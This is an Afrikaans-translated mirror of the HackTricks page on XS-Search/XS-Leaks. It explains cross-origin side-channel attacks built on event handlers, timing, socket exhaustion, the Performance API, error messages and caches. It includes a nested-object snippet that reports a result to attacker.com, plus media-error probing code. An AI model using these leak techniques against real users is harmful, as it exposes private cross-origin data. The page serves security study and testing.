Mirrors/hacktricks
2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2024-11-22 20:53:37 +00:00
Code Issues Projects Releases Packages Wiki Activity
hacktricks/pentesting-web/xs-search
History
CPol 5b39029d68
GitBook: No commit message
2024-04-06 18:08:38 +00:00
..
css-injection Translated ['forensics/basic-forensic-methodology/partitions-file-system 2024-03-26 15:51:04 +00:00
connection-pool-by-destination-example.md Translated to Afrikaans 2024-02-11 02:07:06 +00:00
connection-pool-example.md Translated to Afrikaans 2024-02-11 02:07:06 +00:00
cookie-bomb-+-onerror-xs-leak.md Translated to Afrikaans 2024-02-11 02:07:06 +00:00
event-loop-blocking-+-lazy-images.md Translated to Afrikaans 2024-02-11 02:07:06 +00:00
javascript-execution-xs-leak.md Translated to Afrikaans 2024-02-11 02:07:06 +00:00
performance.now-+-force-heavy-task.md Translated to Afrikaans 2024-02-11 02:07:06 +00:00
performance.now-example.md Translated to Afrikaans 2024-02-11 02:07:06 +00:00
README.md GitBook: No commit message 2024-04-06 18:08:38 +00:00
url-max-length-client-side.md Translated to Afrikaans 2024-02-11 02:07:06 +00:00

README.md

XS-Search/XS-Leaks

Gebruik Trickest om maklik te bou en outomatiseer werkstrome aangedryf deur die wêreld se mees gevorderde gemeenskapshulpmiddels.
Kry Toegang Vandag:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

Leer AWS hak van nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

Basiese Inligting

XS-Soek is 'n metode wat gebruik word vir die onttrek van kruis-oorsprong inligting deur gebruik te maak van sykanaal kwesbaarhede.

Belangrike komponente betrokke by hierdie aanval sluit in:

  • Kwesbare Web: Die teikenwebwerf waarvandaan inligting bedoel word om onttrek te word.
  • Aanvaller se Web: Die skadelike webwerf geskep deur die aanvaller, wat die slagoffer besoek, wat die uitbuiting aanbied.
  • Insluitingsmetode: Die tegniek wat gebruik word om die Kwesbare Web in die Aanvaller se Web in te sluit (bv. window.open, iframe, fetch, HTML-tag met href, ens.).
  • Lek Tegniek: Tegnieke wat gebruik word om verskille in die toestand van die Kwesbare Web te onderskei gebaseer op inligting wat deur die insluitingsmetode ingesamel is.
  • Toestande: Die twee potensiële toestande van die Kwesbare Web, wat die aanvaller beoog om te onderskei.
  • Waargeneembare Verskille: Waarneembare variasies waarop die aanvaller staatmaak om die toestand van die Kwesbare Web af te lei.

Waargeneembare Verskille

Verskeie aspekte kan geanaliseer word om die toestande van die Kwesbare Web te onderskei:

  • Status Kode: Onderskeiding tussen verskeie HTTP-antwoordstatuskodes kruis-oorsprong, soos bedieningsfoute, kliëntfoute, of outentiseringsfoute.
  • API Gebruik: Identifisering van gebruik van Web-API's oor bladsye, wat onthul of 'n kruis-oorsprongbladsy 'n spesifieke JavaScript Web-API gebruik.
  • Herleiings: Opmerking van navigasies na verskillende bladsye, nie net HTTP-herleiings nie, maar ook dié wat deur JavaScript of HTML geaktiveer word.
  • Bladsy Inhoud: Waarneming van variasies in die HTTP-antwoordliggaam of in bladsy sub-hulpbronne, soos die aantal ingeslote rame of grootteverskille in beelde.
  • HTTP Kop: Opmerking van die teenwoordigheid of moontlik die waarde van 'n spesifieke HTTP-antwoordkop, insluitend koppe soos X-Frame-Options, Content-Disposition, en Cross-Origin-Resource-Policy.
  • Tydsberekening: Opmerking van konsekwente tydverskille tussen die twee toestande.

Insluitingsmetodes

  • HTML Elemente: HTML bied verskeie elemente vir kruis-oorsprong hulpbron insluiting, soos stylesheet, beelde, of skripte, wat die blaaier dwing om 'n nie-HTML-hulpbron aan te vra. 'n Samestelling van potensiële HTML-elemente vir hierdie doel kan gevind word by https://github.com/cure53/HTTPLeaks.
  • Rame: Elemente soos iframe, object, en embed kan HTML-hulpbronne direk in die aanvaller se bladsy inbed. As die bladsy ramebeskerming ontbreek, kan JavaScript toegang kry tot die vensterobjek van die ingeslote hulpbron via die contentWindow-eienskap.
  • Pop-ups: Die window.open metode open 'n hulpbron in 'n nuwe lêer of venster, wat 'n vensterhandvatsel vir JavaScript bied om met metodes en eienskappe te interaksioneer volgens die SOP. Pop-ups, dikwels gebruik in enkel aanmelding, omseil rame en koekiebeperkings van 'n teikenhulpbron. Moderne blaaier beperk egter die skep van pop-ups tot sekere gebruikeraksies.
  • JavaScript Versoeke: JavaScript maak direkte versoeke na teikenhulpbronne moontlik deur gebruik te maak van XMLHttpRequests of die Fetch API. Hierdie metodes bied presiese beheer oor die versoek, soos die opsie om HTTP-herleiings te volg.

Lek Tegnieke

  • Gebeurtenishanterer: 'n klassieke lek tegniek in XS-Lekke, waar gebeurtenishanterers soos onload en onerror insigte bied oor die sukses of mislukking van hulpbronlaaiing.
  • Foutboodskappe: JavaScript-uitsonderings of spesiale foutbladsye kan lekinligting verskaf of direk vanuit die foutboodskap of deur onderskeiding tussen die teenwoordigheid en afwesigheid daarvan.
  • Globale Limiete: Fisiese beperkings van 'n blaaier, soos geheuekapasiteit of ander afgedwonge blaaierlimiete, kan aandui wanneer 'n drempel bereik word, as 'n lek tegniek dien.
  • Globale Toestand: Waargeneembare interaksies met blaaier se globale toestande (bv. die Geskiedenis-koppelvlak) kan uitgebuit word. Byvoorbeeld kan die aantal inskrywings in 'n blaaier se geskiedenis aanwysings bied oor kruis-oorsprongbladsye.
  • Prestasie-API: Hierdie API verskaf prestasiebesonderhede van die huidige bladsy, insluitend netwerktiming vir die dokument en gelaai hulpbronne, wat afleidings moontlik maak oor aangevraagde hulpbronne.
  • Leesbare Eienskappe: Sommige HTML-eienskappe is leesbaar kruis-oorsprong en kan as 'n lek tegniek gebruik word. Byvoorbeeld, die window.frame.length eienskap laat JavaScript toe om die rame in 'n bladsy kruis-oorsprong te tel.

XSinator Gereedskap & Dokument

XSinator is 'n outomatiese gereedskap om blaaier teen verskeie bekende XS-Lekke te toets soos verduidelik in sy dokument: https://xsinator.com/paper.pdf

Jy kan toegang tot die gereedskap kry by https://xsinator.com/

{% hint style="warning" %} Uitgeslote XS-Lekke: Ons moes XS-Lekke uitsluit wat staatmaak op dienswerkers aangesien hulle met ander lekke in XSinator sou bots. Verder het ons gekies om XS-Lekke uit te sluit wat staatmaak op verkeerde konfigurasies en foute in 'n spesifieke webtoepassing. Byvoorbeeld, CrossOrigin Resource Sharing (CORS) verkeerde konfigurasies, postMessage lekkasies of Cross-Site Scripting. Daarbenewens het ons tydgebaseerde XS-Lekke uitgesluit aangesien hulle dikwels stadig, lawaaierig en onakkuraat is. {% endhint %}


Gebruik Trickest om maklik te bou en outomatiseer werkstrome aangedryf deur die wêreld se mees gevorderde gemeenskapshulpmiddels.
Kry Toegang Vandag:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

Tydgebaseerde tegnieke

Sommige van die volgende tegnieke gaan tyd gebruik as deel van die proses om verskille in die moontlike toestande van die webbladsye op te spoor. Daar is verskillende maniere om tyd in 'n webblaaier te meet.

Horlosies: Die performance.now() API stel ontwikkelaars in staat om hoë-resolusie tydmetings te kry.
Daar is 'n aansienlike aantal APIs wat aanvallers kan misbruik om implisiete horlosies te skep: Broadcast Channel API, Message Channel API, requestAnimationFrame, setTimeout, CSS-animasies, en ander.
Vir meer inligting: https://xsleaks.dev/docs/attacks/timing-attacks/clocks.

Gebeurtenishanterings tegnieke

Onload/Onerror

{% content-ref url="cookie-bomb-+-onerror-xs-leak.md" %} cookie-bomb-+-onerror-xs-leak.md {% endcontent-ref %}

Die kodevoorbeeld probeer skripsvoorwerpe vanaf JS laai, maar ander etikette soos voorwerpe, stylesheets, beelde, klank kan ook gebruik word. Daarbenewens is dit ook moontlik om die etiket direk in te spuit en die onload en onerror-gebeurtenisse binne die etiket te verklaar (in plaas daarvan om dit vanaf JS in te spuit).

Daar is ook 'n skriptlose weergawe van hierdie aanval:

<object data="//example.com/404">
<object data="//attacker.com/?error"></object>
</object>

In hierdie geval, as example.com/404 nie gevind word nie, sal attacker.com/?error gelaai word.

Onload Timing

{% content-ref url="performance.now-example.md" %} performance.now-example.md {% endcontent-ref %}

Onload Timing + Gedwonge Swaar Taak

Hierdie tegniek is net soos die vorige een, maar die aanvaller sal ook 'n paar aksies dwing om 'n relevante hoeveelheid tyd te neem wanneer die antwoord positief of negatief is en meet daardie tyd.

{% content-ref url="performance.now-+-force-heavy-task.md" %} performance.now-+-force-heavy-task.md {% endcontent-ref %}

unload/beforeunload Timing

Die tyd wat dit neem om 'n hulpbron op te haal, kan gemeet word deur die unload en beforeunload gebeure te gebruik. Die beforeunload-gebeurtenis word afgevuur wanneer die blaaier besig is om na 'n nuwe bladsy te navigeer, terwyl die unload-gebeurtenis plaasvind wanneer die navigasie werklik plaasvind. Die tydsverskil tussen hierdie twee gebeure kan bereken word om die duur te bepaal wat die blaaier spandeer het om die hulpbron op te haal.

Sandboxed Frame Timing + onload

Daar is waargeneem dat in die afwesigheid van Raamwerkbeskerming, die tyd wat nodig is vir 'n bladsy en sy subhulpbronne om oor die netwerk te laai, deur 'n aanvaller gemeet kan word. Hierdie meting is tipies moontlik omdat die onload-hanterer van 'n ifram slegs geaktiveer word nadat die hulpbronlaaiing en JavaScript-uitvoering voltooi is. Om die variasie wat deur skrips uitvoering ingebring word, te omseil, kan 'n aanvaller die sandbox eienskap binne die <iframe> gebruik. Die insluiting van hierdie eienskap beperk verskeie funksionaliteite, veral die uitvoering van JavaScript, wat 'n meting fasiliteer wat hoofsaaklik deur netwerkprestasie beïnvloed word.

// Example of an iframe with the sandbox attribute
<iframe src="example.html" sandbox></iframe>

#ID + fout + onload

  • Insluitingsmetodes: Raamwerke
  • Opspoorbare Verskil: Bladsy-inhoud
  • Meer inligting:
  • Opsomming: As jy die bladsy 'n fout kan laat gee wanneer die korrekte inhoud benader word en dit korrek laai wanneer enige inhoud benader word, kan jy 'n lus maak om al die inligting te onttrek sonder om die tyd te meet.
  • Kodevoorbeeld:

Stel dat jy die bladsy kan invoeg wat die geheime inhoud binne 'n Iframe het.

Jy kan die slagoffer laat soek na die lêer wat "vlag" bevat deur 'n Iframe te gebruik (deur byvoorbeeld 'n CSRF te benut). Binne die Iframe weet jy dat die onload-gebeurtenis altyd ten minste een keer sal uitgevoer word. Dan kan jy die URL van die iframe verander deur net die inhoud van die hek binne die URL te verander.

Byvoorbeeld:

  1. URL1: www.attacker.com/xssearch#try1
  2. URL2: www.attacker.com/xssearch#try2

As die eerste URL suksesvol gelaai was, sal die onload-gebeurtenis nie weer geaktiveer word wanneer die hek-gedeelte van die URL verander word nie. Maar as die bladsy 'n soort van fout gehad het tydens die laai, sal die onload-gebeurtenis weer geaktiveer word.

Dan kan jy onderskei tussen 'n korrek gelaai bladsy of 'n bladsy wat 'n fout het wanneer dit benader word.

Javascript-uitvoering

  • Insluitingsmetodes: Raamwerke
  • Opspoorbare Verskil: Bladsy-inhoud
  • Meer inligting:
  • Opsomming: As die bladsy die sensitiewe inhoud teruggee, of 'n inhoud wat deur die gebruiker beheer kan word. Die gebruiker kan geldige JS-kode in die negatiewe geval instel, en elke poging binne <script>-tags laai, sodat in negatiewe gevalle aanvallers se kode uitgevoer word, en in bevestigende gevalle sal niks uitgevoer word nie.
  • Kodevoorbeeld:

{% content-ref url="javascript-execution-xs-leak.md" %} javascript-execution-xs-leak.md {% endcontent-ref %}

CORB - Onerror

  • Insluitingsmetodes: HTML-elemente
  • Opspoorbare Verskil: Statuskode & Koppele
  • Meer inligting: https://xsleaks.dev/docs/attacks/browser-features/corb/
  • Opsomming: Cross-Origin Read Blocking (CORB) is 'n sekuriteitsmaatreël wat voorkom dat webbladsye sekere sensitiewe kruis-oorsprongbronne laai om te beskerm teen aanvalle soos Spectre. Aanvallers kan egter sy beskermende gedrag benut. Wanneer 'n respons wat aan CORB onderwerp is, 'n CORB-beskermde Content-Type met nosniff en 'n 2xx-statuskode teruggee, stroop CORB die liggaam en koppe van die respons. Aanvallers wat hierdie waarneem, kan die kombinasie van die statuskode (wat sukses of fout aandui) en die Content-Type (wat aandui of dit deur CORB beskerm word) aflei, wat kan lei tot potensiële inligtingslekke.
  • Kodevoorbeeld:

Kyk na die meer inligting skakel vir meer inligting oor die aanval.

onblur

Dit is moontlik om 'n bladsy binne 'n iframe te laai en die #id_waarde te gebruik om die bladsy te fokus op die element van die iframe met die aangeduide id, dan as 'n onblur-sein geaktiveer word, bestaan die ID-element.
Jy kan dieselfde aanval uitvoer met portal-tags.

postMessage-uitsendings

  • Insluitingsmetodes: Raamwerke, Pop-ups
  • Opspoorbare Verskil: API-gebruik
  • Meer inligting: https://xsleaks.dev/docs/attacks/postmessage-broadcasts/
  • Opsomming: Versamel sensitiewe inligting van 'n postMessage of gebruik die teenwoordigheid van postMessages as 'n orakel om die status van die gebruiker op die bladsy te ken
  • Kodevoorbeeld: Enige kode wat luister na alle postMessages.

Toepassings maak dikwels gebruik van postMessage-uitsendings om oor verskillende oorsprong te kommunikeer. Hierdie metode kan egter onbedoeld sensitiewe inligting blootstel as die targetOrigin-parameter nie behoorlik gespesifiseer is nie, wat enige venster toelaat om die boodskappe te ontvang. Verder kan die bloot ontvang van 'n boodskap as 'n orakel optree; byvoorbeeld, sekere boodskappe mag slegs gestuur word na gebruikers wat ingeteken is. Daarom kan die teenwoordigheid of afwesigheid van hierdie boodskappe inligting oor die gebruiker se toestand of identiteit onthul, soos of hulle geïdentifiseer is of nie.

Gebruik Trickest om maklik werkstrome te bou en te outomatiseer wat aangedryf word deur die wêreld se mees gevorderde gemeenskapshulpmiddels.
Kry Vandag Toegang:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

Globale Limiete Tegnieke

WebSocket API

Dit is moontlik om te identifiseer of, en hoeveel, WebSocket-verbindinge 'n teikenbladsy gebruik. Dit stel 'n aanvaller in staat om programtoestande te bepaal en inligting wat verband hou met die aantal WebSocket-verbindinge te lek.

As een oorsprong die maksimum hoeveelheid WebSocket-verbinding-voorwerpe gebruik, ongeag hul verbindingsstatus, sal die skepping van nuwe voorwerpe lei tot JavaScript-uitsonderings. Om hierdie aanval uit te voer, open die aanvaller-webwerf die teikenwebwerf in 'n pop-up of iframe en probeer dan, nadat die teikenweb gelaai is, die maksimum aantal moontlike WebSocket-verbindinge skep. Die aantal gegooide uitsonderings is die aantal WebSocket-verbindinge wat deur die teikenwebwerf-venster gebruik word.

Betalings-API

Hierdie XS-Leak stel 'n aanvaller in staat om te identifiseer wanneer 'n kruis-oorsprongbladsy 'n betalingsversoek inisieer.

Omdat slegs een betalingsversoek aktief kan wees op 'n slag, as die teikenwebwerf die Betalingsversoek-API gebruik, sal enige verdere pogings om hierdie API te gebruik faal, en 'n JavaScript-uitsondering veroorsaak. Die aanvaller kan hierdie uitbuit deur periodiek te probeer om die Betalings-API UI te wys. As een poging 'n uitsondering veroorsaak, gebruik die teikenwebwerf dit tans. Die aanvaller kan hierdie periodieke pogings verberg deur die UI onmiddellik na skepping te sluit.

Tydsberekening van die Gebeurtenislus

{% content-ref url="event-loop-blocking-+-lazy-images.md" %} event-loop-blocking-+-lazy-images.md {% endcontent-ref %}

JavaScript werk op 'n enkel-draad-gebeurtenislus gelykheidmodel, wat beteken dat dit slegs een taak op 'n slag kan uitvoer. Hierdie eienskap kan uitgebuit word om te meet hoe lank dit neem vir kode van 'n ander oorsprong om uit te voer. 'n Aanvaller kan die uitvoertyd van hul eie kode in die gebeurtenislus meet deur voortdurend gebeurtenisse met vaste eienskappe te stuur. Hierdie gebeurtenisse sal verwerk word wanneer die gebeurtenispoel leeg is. As ander oorspronge ook gebeurtenisse na dieselfde poel stuur, kan 'n aanvaller die tyd aflei wat dit neem vir hierdie eksterne gebeurtenisse om uit te voer deur vertragings in die uitvoer van hul eie take te waarneem. Hierdie metode van monitering van die gebeurtenislus vir vertragings kan die uitvoertyd van kode van verskillende oorspronge onthul, wat moontlik sensitiewe inligting blootstel.

{% hint style="warning" %} In 'n uitvoertydsberekening is dit moontlik om netwerk faktore te elimineer om meer presiese metings te verkry. Byvoorbeeld, deur die hulpbronne wat deur die bladsy gebruik word te laai voordat dit gelaai word. {% endhint %}

Besige Gebeurtenislus

  • Insluitingsmetodes:
  • Opmerkbare Verskil: Tydsberekening (oor die algemeen as gevolg van Bladsy-inhoud, Statuskode)
  • Meer inligting: https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#busy-event-loop
  • Opsomming: Een metode om die uitvoertyd van 'n web-operasie te meet, behels die opsetlike blokkering van die gebeurtenislus van 'n draad en dan die tyd te meet hoe lank dit neem vir die gebeurtenislus weer beskikbaar te word. Deur 'n blokkerende operasie (soos 'n lang berekening of 'n sinchrone API-oproep) in die gebeurtenislus in te voeg, en die tyd te monitor wat dit neem vir daaropvolgende kode om uitvoer te begin, kan 'n persoon die duur van die take wat in die gebeurtenislus tydens die blokkeringsperiode uitgevoer is, aflei. Hierdie tegniek maak gebruik van die enkel-draad-natuur van JavaScript se gebeurtenislus, waar take in volgorde uitgevoer word, en kan insigte bied in die prestasie of gedrag van ander operasies wat dieselfde draad deel.
  • Kodevoorbeeld:

'n Beduidende voordeel van die tegniek om die uitvoertyd te meet deur die gebeurtenislus te blokkeer, is die potensiaal om Webwerf-isolasie te omseil. Webwerf-isolasie is 'n sekuriteitskenmerk wat verskillende webwerwe in afsonderlike prosesse skei, met die doel om te voorkom dat skadelike webwerwe direk toegang tot sensitiewe data van ander webwerwe verkry. Deur die uitvoertydsberekening van 'n ander oorsprong te beïnvloed deur die gedeelde gebeurtenislus, kan 'n aanvaller indirek inligting oor daardie oorsprong se aktiwiteite onttrek. Hierdie metode steun nie op direkte toegang tot die data van die ander oorsprong nie, maar eerder waarneem die impak van daardie oorsprong se aktiwiteite op die gedeelde gebeurtenislus, en ontsnap dus aan die beskermende hindernisse wat deur Webwerf-isolasie opgerig is.

{% hint style="warning" %} In 'n uitvoertydsberekening is dit moontlik om netwerk faktore te elimineer om meer presiese metings te verkry. Byvoorbeeld, deur die hulpbronne wat deur die bladsy gebruik word te laai voordat dit gelaai word. {% endhint %}

Verbindingspoel

  • Insluitingsmetodes: JavaScript Versoeke
  • Opmerkbare Verskil: Tydsberekening (oor die algemeen as gevolg van Bladsy-inhoud, Statuskode)
  • Meer inligting: https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/
  • Opsomming: 'n Aanvaller kan al die sokkels behalwe een blokkeer, die teikenwebwerf laai en terselfdertyd 'n ander bladsy laai, die tyd tot die laaste bladsy begin laai is die tyd wat die teikenbladsy geneem het om te laai.
  • Kodevoorbeeld:

{% content-ref url="connection-pool-example.md" %} connection-pool-example.md {% endcontent-ref %}

Webblaaier maak gebruik van sokkels vir bedienerkommunikasie, maar as gevolg van die beperkte hulpbronne van die bedryfstelsel en hardeware, is webblaaier verplig om 'n limiet op die aantal gelyktydige sokkels op te lê. Aanvallers kan hierdie beperking uitbuit deur die volgende stappe te volg:

  1. Vasstel die webblaaier se sokkellimiet, byvoorbeeld 256 globale sokkels.
  2. Beset 255 sokkels vir 'n lang tyd deur 255 versoeke na verskillende gasheer te inisieer, ontwerp om die verbindings oop te hou sonder om te voltooi.
  3. Gebruik die 256ste sokkel om 'n versoek na die teikenbladsy te stuur.
  4. Probeer 'n 257ste versoek na 'n ander gasheer. Aangesien alle sokkels in gebruik is (soos per stappe 2 en 3), sal hierdie versoek in 'n ry geplaas word totdat 'n sokkel beskikbaar word. Die vertraging voordat hierdie versoek voortgaan, bied die aanvaller met tyd-inligting oor die netwerkaktiwiteit wat verband hou met die 256ste sokkel (die teikenbladsy se sokkel). Hierdie afleiding is moontlik omdat die 255 sokkels van stap 2 steeds besig is, wat impliseer dat enige nuut beskikbare sokkel die een moet wees wat vrygestel is van stap 3. Die tyd wat dit neem vir die 256ste sokkel om beskikbaar te word, is dus direk gekoppel aan die tyd wat die versoek na die teikenbladsy neem om te voltooi.

Vir meer inligting: https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/

Verbindingspoel per Bestemming

  • Insluitingsmetodes: JavaScript Versoeke
  • Opmerkbare Verskil: Tydsberekening (oor die algemeen as gevolg van Bladsy-inhoud, Statuskode)
  • Meer inligting:
  • Opsomming: Dit is soos die vorige tegniek, maar in plaas daarvan om al die sokkels te gebruik, stel Google Chrome 'n limiet van 6 gelyktydige versoek na dieselfde oorsprong. As ons 5 blokkeer en dan 'n 6de versoek begin, kan ons dit tyd en as ons daarin slaag om die slagofferbladsy meer versoeke na dieselfde eindpunt te stuur om 'n status van die bladsy te identifiseer, sal die 6de versoek langer neem en ons kan dit identifiseer.

Prestasie API Tegnieke

Die Prestasie API bied insigte in die prestasie metriek van webtoepassings, verder verryk deur die Hulpbron Tyd API. Die Hulpbron Tyd API maak dit moontlik om die gedetailleerde netwerkversoektye te monitor, soos die duur van die versoeke. Merkwaardig, wanneer bedieners die Timing-Allow-Origin: * kop in hul antwoorde insluit, word addisionele data soos die oordraggrootte en domeinsoektogtyd beskikbaar.

Hierdie oorvloed van data kan verkry word deur metodes soos performance.getEntries of performance.getEntriesByName, wat 'n omvattende uitsig oor prestasie-verwante inligting bied. Daarbenewens fasiliteer die API die meting van uitvoertye deur die verskil tussen tydstempels wat verkry is vanaf performance.now() te bereken. Dit is egter die moeite werd om op te let dat vir sekere operasies in webblaaier soos Chrome, die presisie van performance.now() beperk kan wees tot millisekondes, wat die fynheid van tydmetings kan beïnvloed.

Verder as tydmetings kan die Prestasie API benut word vir sekuriteitsverwante insigte. Byvoorbeeld, die teenwoordigheid of afwesigheid van bladsye in die prestasie-voorwerp in Chrome kan dui op die toepassing van X-Frame-Options. Spesifiek, as 'n bladsy geblokkeer word vanaf die weergawe in 'n raam as gevolg van X-Frame-Options, sal dit nie in die prestasie-voorwerp aangeteken word nie, wat 'n subtile aanduiding bied oor die bladsy se raambeleid.

Foutlek

Dit is moontlik om onderskeid te maak tussen HTTP-antwoordstatuskodes omdat versoeke wat lei tot 'n fout nie 'n prestasie-inskrywing skep nie.

Styl Herlaai Fout

In die vorige tegniek is ook twee gevalle geïdentifiseer waar webblaaierfoute in GC lei tot hulpbronne wat twee keer gelaai word as hulle nie laai nie. Dit sal lei tot meervoudige inskrywings in die Prestasie API en kan dus opgespoor word.

Versoek Saamvoegingsfout

Die tegniek is gevind in 'n tabel in die genoemde dokument, maar geen beskrywing van die tegniek is daarop gevind nie. Jy kan egter die bronkode vind wat dit nagaan in https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak

Leë Bladsy Lek

'n Aanvaller kan opspoor of 'n versoek gelei het tot 'n leë HTTP-antwoordliggaam omdat leë bladsye nie 'n prestasie-inskrywing skep in sommige webblaaier nie.

XSS-Auditor Lek

In Sekuriteitsbewerings (SA) kan die XSS Auditor, oorspronklik bedoel om Kruiswebwerfinskrywings (XSS) aanvalle te voorkom, paradoksaal benut word om sensitiewe inligting te lek. Alhoewel hierdie ingeboude kenmerk verwyder is uit Google Chrome (GC), is dit steeds teenwoordig in SA. In 2013 het Braun en Heiderich gedemonstreer dat die XSS Auditor per ongeluk legitieme skripte kon blokkeer, wat gelei het tot vals positiewe. Voortbouend op hierdie bevindinge, het navorsers tegnieke ontwikkel om inligting te onttrek en spesifieke inhoud op kruis-oorsprong-bladsye op te spoor, 'n konsep bekend as XS-Lekke, aanvanklik gerapporteer deur Terada en uitgewerk deur Heyes in 'n blogpos. Alhoewel hierdie tegnieke spesifiek was vir die XSS Auditor in GC, is daar ontdek dat in SA, bladsye wat deur die XSS Auditor geblokkeer word, nie inskrywings in die Prestasie API genereer nie, wat 'n metode blootstel waardeur sensitiewe inligting steeds gelek kan word.

X-Frame Lek

As 'n bladsy nie toegelaat word om in 'n iframe gerender te word nie, skep dit nie 'n prestasie-inskrywing nie. As gevolg hiervan kan 'n aanvaller die antwoordkop X-Frame-Options opspoor.
Dieselfde gebeur as jy 'n embed tag gebruik.

Aflaaieropsporing

Soortgelyk aan die beskrywing van XS-Lek, skep 'n hulpbron wat afgelaai word as gevolg van die ContentDisposition-kop, ook nie 'n prestasie-inskrywing nie. Hierdie tegniek werk in alle belangrike webblaaier.

Aanvraag na Aanstuurlek

Ons het een XS-Leak-geval gevind wat die gedrag van sekere webblaaier misbruik wat te veel inligting vir kruis-oorsprong aanvrae log. Die standaard definieer 'n subset van eienskappe wat op nul gestel moet word vir kruis-oorsprong hulpbronne. In SA is dit egter moontlik om te bepaal of die gebruiker aangestuur word deur die teikenbladsy, deur die Performance API te ondervra en te kyk vir die redirectStart tydverloopdata.

Duur Aanstuurlek

In GC is die duur vir aanvrae wat in 'n aanstuur resulteer negatief en kan dus onderskei word van aanvrae wat nie in 'n aanstuur resulteer nie.

CORP-lek

In sommige gevalle kan die nextHopProtocol inskrywing as 'n lektegniek gebruik word. In GC, wanneer die CORP-kopteks ingestel is, sal die nextHopProtocol leeg wees. Let daarop dat SA glad nie 'n prestasie-inskrywing sal skep vir CORP-geaktiveerde hulpbronne nie.

Dienswerker

Dienswerkers is gebeurtenisgedrewe skripsamehangsels wat by 'n oorsprong loop. Hulle loop in die agtergrond van 'n webbladsy en kan hulpbronne onderskep, wysig, en kas om aanlyn webtoepassings te skep.
As 'n hulpbron gekas deur 'n dienswerker via 'n rame benader word, sal die hulpbron van die dienswerker se kas gelaai word.
Om vas te stel of die hulpbron van die dienswerker se kas gelaai is, kan die Performance API gebruik word.
Dit kan ook gedoen word met 'n Tydaanval (kyk na die dokument vir meer inligting).

Kas

Deur die Performance API te gebruik, is dit moontlik om te bepaal of 'n hulpbron gekas is.

Netwerkduur

Foutboodskap Tegniek

Media Fout

// Code saved here in case it dissapear from the link
// Based on MDN MediaError example: https://mdn.github.io/dom-examples/media/mediaerror/
window.addEventListener("load", startup, false);
function displayErrorMessage(msg) {
document.getElementById("log").innerHTML += msg;
}

function startup() {
let audioElement = document.getElementById("audio");
// "https://mdn.github.io/dom-examples/media/mediaerror/assets/good.mp3";
document.getElementById("startTest").addEventListener("click", function() {
audioElement.src = document.getElementById("testUrl").value;
}, false);
// Create the event handler
var errHandler = function() {
let err = this.error;
let message = err.message;
let status = "";

// Chrome error.message when the request loads successfully: "DEMUXER_ERROR_COULD_NOT_OPEN: FFmpegDemuxer: open context failed"
// Firefox error.message when the request loads successfully: "Failed to init decoder"
if((message.indexOf("DEMUXER_ERROR_COULD_NOT_OPEN") != -1) || (message.indexOf("Failed to init decoder") != -1)){
status = "Success";
}else{
status = "Error";
}
displayErrorMessage("<strong>Status: " + status + "</strong> (Error code:" + err.code + " / Error Message: " + err.message + ")<br>");
};
audioElement.onerror = errHandler;
}

CORS Fout

Hierdie tegniek stel 'n aanvaller in staat om die bestemming van 'n kruis-oorsprong webwerf se omleiding te onttrek deur te misbruik hoe Webkit-gebaseerde webblaaier CORS-aanvrae hanteer. Spesifiek, wanneer 'n CORS-ingeskakelde aanvraag gestuur word na 'n teikenwebwerf wat 'n omleiding uitreik gebaseer op gebruikerstatus en die blaaier daaropvolgend die aanvraag weier, word die volledige URL van die omleiding se teiken onthul binne die foutboodskap. Hierdie kwesbaarheid onthul nie net die feit van die omleiding nie, maar onthul ook die omleiding se eindpunt en enige sensitiewe navraagparameters wat dit mag bevat.

SRI Fout

'n Aanvaller kan uitgebreide foutboodskappe misbruik om die grootte van kruis-oorsprong reaksies te bepaal. Dit is moontlik as gevolg van die meganisme van Subresource Integrity (SRI), wat die integriteitskenmerk gebruik om te valideer dat hulpbronne wat dikwels van CDNs afgehaal word, nie geteister is nie. Vir SRI om te werk op kruis-oorsprong hulpbronne, moet hierdie CORS-ingeskakel wees; andersins is hulle nie onderhewig aan integriteitskontroles nie. In Sekuriteitsbewerings (SA), soos die CORS-fout XS-Leak, kan 'n foutboodskap vasgevang word nadat 'n aanvraag met 'n integriteitskenmerk misluk. Aanvallers kan doelbewus hierdie fout trigger deur 'n vals hashtekenwaarde toe te ken aan die integriteitskenmerk van enige aanvraag. In SA, onthul die resulterende foutboodskap per abuis die inhoudslengte van die versoekte hulpbron. Hierdie inligtingslek stel 'n aanvaller in staat om variasies in reaksiegrootte te onderskei, wat die pad baan vir gesofistikeerde XS-Leak-aanvalle.

CSP Oortreding/Deteksie

'n XS-Leak kan die CSP gebruik om te bepaal of 'n kruis-oorsprongwebwerf na 'n ander oorsprong geskuif is. Hierdie lek kan die omleiding opspoor, maar daarnaas lek die domein van die omleidingsdoel. Die basiese idee van hierdie aanval is om die teikendomein op die aanvaller se webwerf toe te laat. Sodra 'n versoek na die teikendomein gestuur word, skuif dit na 'n kruis-oorsprongdomein. CSP blokkeer die toegang daartoe en skep 'n oortredingsverslag wat as 'n lektegniek gebruik word. Afhangende van die blaaier, kan hierdie verslag die teikenveld van die omleiding lek. Moderne blaaier sal nie aandui na watter URL dit geskuif is nie, maar jy kan steeds bepaal dat 'n kruis-oorsprongomleiding geaktiveer is.

Cache

Blaaiers kan een gedeelde cache vir alle webwerwe gebruik. Ongeag hul oorsprong, is dit moontlik om te bepaal of 'n teikendbladsy 'n spesifieke lêer aangevra het.

As 'n bladsy 'n prent laai slegs as die gebruiker ingeteken is, kan jy die hulpbron ongeldig maak (sodat dit nie meer in die cache is nie, sien meer inligting skakels), 'n aanvraag uitvoer wat daardie hulpbron kan laai en probeer die hulpbron laai met 'n slegte aanvraag (bv. deur 'n oorlange verwysingskop te gebruik). As die hulpbronlaai geen fout veroorsaak nie, is dit omdat dit gecachet is.

CSP Direktief

